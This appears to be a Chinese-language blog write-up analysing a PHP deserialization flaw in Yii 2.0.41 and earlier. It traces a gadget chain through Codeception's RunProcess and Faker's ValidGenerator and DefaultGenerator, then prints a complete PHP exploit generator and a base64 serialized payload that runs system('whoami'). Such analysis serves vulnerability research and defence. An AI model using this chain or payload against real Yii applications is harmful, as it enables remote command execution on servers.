Yii <= 2.0.41 反序列化漏洞
环境搭建
Windows + Composer + yii-basic-app-2.0.41
同时我们需要在/constrollers/SiteConstroller.php添加以下代码
POP1链分析(《=2.0.41)
起点
全局查找 destruct()函数
\vendor\codeception\codeception\ext\RunProcess.php存在 destruct()魔术方法
foreach (array_reverse($this->processes) as $process) 中,我们可以通过控制 $this->processes 来达到控制 $process 的效果
同时我们发现 isRunning()方法并没有声明,因此这里会调用 任意类的 __call()魔术方法
同时我们发现这里没有 wakeup()魔术方法,因此我们可以把这里作为pop链的起点
(由于其他的类中都基本存在wakeup()做了限制,因此很难找到可以利用的反序列化的地方)
全局寻找 __call()魔术方法
找到 \vendor\fakerphp\faker\src\Faker\ValidGenerator.php
这里的 call()方法 有两个代码的执行点,同时没有 wakeup()做限制
$this->generator $this->maxRetries $this->validator 都是可控的
我们发现这里只要给 $this->generator 找到一个__call()方法可控字符串的对象,我们就可以控制$res参数的返回
Do循环的if语句可以通过给 $this->maxRetries 传递一个很大的值来绕过Exception判断
我们接着控制$this->validator就可以实现任意命令执行了
这里我们给$this->generator找到一个新的__call()方法
vendor\fakerphp\faker\src\Faker\DefaultGenerator.php—-DefaultGenerator类
这里的 $this->default 也是可控的
至此我们的pop链就分析完了,通过两个__call()魔术方法的利用我们可以实现反序列化的命令执行控制
Exp
_
<?php
namespace Faker;
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}
namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
private $processes = [];
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}
$exp = new RunProcess(‘system’,’whoami’);
echo(base64_encode(serialize($exp)));
//TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAdmFsaW
RhdG9yIjtzOjY6InN5c3RlbSI7czoxMzoiACoAbWF4UmV0cmllcyI7aTo5OTk5OTk5OTt9fX0=
参考链接
https://www.cnblogs.com/zpchcbd/p/14714606.html
https://xz.aliyun.com/t/9420#toc-1